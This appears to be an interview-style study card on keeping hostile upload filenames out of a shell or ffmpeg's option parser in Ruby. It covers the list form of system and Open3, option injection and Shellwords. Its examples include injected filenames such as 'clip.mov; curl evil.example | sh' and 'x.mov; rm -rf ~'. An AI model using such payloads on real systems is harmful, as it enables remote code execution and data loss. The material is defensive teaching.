A Ruby app runs ffmpeg on user-uploaded video files; which calling forms keep a hostile filename from being read by a shell or as an ffmpeg option?
answer
- one string versus many arguments
- metacharacters send it to /bin/sh
- backticks take only a string
- Shellwords.escape, used unquoted
- a leading dash is still an option
basics
~20 sPass the executable and every argument separately, system("ffmpeg", "-i", path, out) or Open3.capture3 the same way, so no shell runs. Avoid backticks and interpolated strings, and make the path start with a directory, not a dash.
solid answer
~40 s`system`, `spawn`, `exec`, `IO.popen` and the `Open3` methods have two forms. Given **one string** containing shell metacharacters, Ruby runs `/bin/sh -c` on it, so `system("ffmpeg -i #{name} out.mp4")` with `name = "x.mov; rm -rf ~"` runs the second command. Given the **executable plus separate arguments**, Ruby calls the program directly and each string becomes exactly one argument, whatever it contains. Backticks and `%x` accept only a string, so use `Open3.capture2e` with separate arguments instead. Even a string without metacharacters is split on spaces, breaking names that contain them. The argument-list form does not stop **option injection**: a file named `-y` is still read as an ffmpeg flag, and `Shellwords.escape` leaves the dash alone. Store uploads under server-generated names and pass an absolute path.
code
ruby · 13 linesrequire "open3"
name = "clip.mov; curl evil.example | sh" # attacker-chosen
# Unsafe: one string with metacharacters goes to /bin/sh
system("ffmpeg -i #{name} out.mp4")
# Safe from the shell: each element is one argument
src = File.join("/srv/uploads", upload_id + ".mov") # server-chosen
out, status = Open3.capture2e(
{"PATH" => "/usr/bin"}, "ffmpeg", "-y", "-i", src, "/srv/out/#{upload_id}.mp4",
unsetenv_others: true, chdir: "/srv/work"
)go deeper
Recall that system and Open3 accept the program and its arguments as separate strings, and that this form never starts a shell.
Explain Ruby's rule for when a string goes to /bin/sh, the space-splitting fallback, and why backticks have no list form.
Harden the ffmpeg call: list form, server-generated absolute paths against option injection, a pinned PATH or executable path, unsetenv_others, and captured stderr.
Set the policy for every external tool the platform runs: a single vetted wrapper, a ban on shell strings enforced in review, and isolation for untrusted media.
## The two calling forms Every Ruby API that starts a program, namely `Kernel#system`, `spawn`, `exec`, `IO.popen` and the `Open3` methods, accepts the command in one of two shapes: | Form | Example | What Ruby does | |---|---|---| | one command-line string | `system("ffmpeg -i #{path} out.mp4")` | if it has shell metacharacters or starts with a shell keyword, runs `/bin/sh -c` on it; otherwise splits on spaces and tabs | | executable plus arguments | `system("ffmpeg", "-i", path, "out.mp4")` | calls the program directly; each string is exactly one argument | | backticks, `%x` | `` `ffmpeg -i #{path} out.mp4` `` | string only, same rule as the first row | With the **argument-list form** no shell ever sees the data, so `;`, `|`, `$(...)`, quotes, spaces and newlines in a filename are just characters in one argument. ## What goes wrong with the string form An upload named `clip.mov; curl evil.example | sh` interpolated into a single string contains metacharacters, so Ruby hands the whole line to `/bin/sh`, which runs **both** commands. A name like `$(id).mov` works too, because the shell expands it before ffmpeg starts. There is also a quieter failure. `Holiday video.mov` has no metacharacters, so Ruby skips the shell but **splits on the space**, and ffmpeg receives two arguments, `Holiday` and `video.mov`. The job fails for innocent users. Backticks and `%x` have no list form at all. When you need the output of a command built from user data, use `Open3.capture2e("ffprobe", "-v", "error", path)` or `IO.popen(["ffprobe", path])`. ## Which Ruby APIs have a list form - `system`, `spawn`, `exec`: `system("ffmpeg", "-i", src, dst)`, with an optional leading env hash and trailing options. - `Open3.capture3`, `capture2e`, `popen3` and the rest: the same argument shape. - `IO.popen`: an **array**, `IO.popen(["ffprobe", src])`. - Backticks and `%x`: **none**; a single string only. There is also a two-element array form for the executable itself, `[path, argv0]`, which sets the name the process reports without involving a shell. ## Option injection survives the list form The list form removes the **shell**, not the program's own **argument parser**. A file named `-y`, or anything beginning with `-`, is read by ffmpeg as an option, not a filename. Defences, strongest first: 1. Never use the uploaded name on disk. Store the upload under a name the server generates, keep the original name only as data in the database. 2. Pass an **absolute path**, or prefix a relative one with `./`, so the argument cannot start with `-`. 3. Validate what you can, such as an allowed extension, before calling the tool. ## When a string is unavoidable: Shellwords Sometimes a string must be built, for example for a command logged and replayed by a shell. The **`shellwords`** library helps: - `Shellwords.escape(str)`, also `str.shellescape`, backslash-escapes every character outside a safe set. The result must be used **unquoted**: wrapping it in `"..."` breaks the escaping. - `Shellwords.join(array)`, also `array.shelljoin`, escapes and joins a whole argument list. - `Shellwords.split(line)` splits a line the way a Bourne shell would, without interpreting other metacharacters. `Shellwords.escape` does not touch `-`, so it prevents shell injection but not option injection. It also raises `ArgumentError` for a string containing a NUL byte. ## Hardening the child The list form also takes a leading environment hash and trailing options: - `{"PATH" => "/usr/bin"}` pins where `ffmpeg` is looked up, or pass an absolute executable path. - `unsetenv_others: true` gives the child only the variables you pass, so secrets in your environment do not leak into it. - `chdir:` runs the child in a scratch directory. - `rlimit_cpu:` and similar keys cap the child's resources. ## Checklist - Executable and arguments as separate strings, every time. - No backticks or `%x` with interpolated data. - Server-generated file names and absolute paths. - `Shellwords` only when a shell string is genuinely required, and never inside quotes.
- In Ruby, does system("ffmpeg -i " + name) always go through /bin/sh?No. Ruby uses the shell only when the string contains metacharacters or begins with a shell keyword or built-in. Otherwise it splits the string on spaces and tabs and runs the program directly. Either way the string form is wrong for user data: with metacharacters it injects, without them a space splits the name into two arguments.
- In Ruby, why is wrapping Shellwords.escape output in double quotes a bug?`Shellwords.escape` produces backslash escapes meant to be read unquoted by a Bourne shell. Inside double quotes the shell keeps many of those backslashes literally, so the argument the program receives is no longer the original string. Use the escaped value bare, or better, avoid the shell with the argument-list form.
saying these in an interview costs you the question
- Interpolating the filename into one string is fine if it contains no spaces.
- Backticks accept an argument array like system does.
- Shellwords.escape also stops a filename being read as an option.
- The argument-list form still runs /bin/sh, just with quoting added.
- Putting Shellwords.escape output inside double quotes adds safety.